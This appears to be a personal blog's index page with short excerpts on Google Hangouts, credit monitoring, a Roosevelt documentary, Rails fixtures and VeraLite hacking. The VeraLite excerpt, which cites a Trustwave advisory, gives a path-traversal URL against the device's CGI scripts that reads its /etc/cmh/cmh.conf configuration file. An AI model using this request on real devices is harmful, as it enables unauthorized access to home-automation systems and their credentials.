Gchat vs Hangout

I just found out that I can revert back to gchat, instead of using the new hangout. The new hangout sucks. Here is the comment I left for them in their feedback form.   This new Hangout replacement for Gchat is super bogus. Here is why 1) Why does hangout need to be in a… Continue reading Gchat vs Hangout

how to hack the veralite to get ssh root password

Home automation hardware are some of the worst products security wise. Today I wanted to log into my veralite, but I forgot the root password. In no more than 30 minutes, I found a way to gain root. Source: https://www3.trustwave.com/spiderlabs/advisories/TWSL2013-019.txt First go here http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test Then go here http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/cmh/cmh.conf Then cry, because I just realized my… Continue reading how to hack the veralite to get ssh root password

ProtectMyID sucks

So after the Target breach, I signed up for the free credit monitoring service they offered: ProtectMyID. Since then, I have opened a credit card, and brought into use a credit card I have not used in months. I think I also closed an account and changed the credit limit on another… No alerts from… Continue reading ProtectMyID sucks

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The Roosevelts

I am watching this new Roosevelt documentary on PBS and I am blown away by how great the Roosevelts were, especially Eleanor. In the 1930s, a time before civil rights or any sort of real social awareness, she was working for civil rights, women’s rights, economic equality, international aid, and even perhaps a hint at… Continue reading The Roosevelts

Rails test fixtures and foreign_key

I learned something about rails fixtures that took me a while to figure out: So the standard fixture reference example is # In fixtures/categories.yml about: name: About # In fixtures/articles.yml one: title: Welcome to Rails! body: Hello world! category: about But what if I had in my model class Articles < ActiveRecord::Base belongs_to :category, foreign_key:… Continue reading Rails test fixtures and foreign_key

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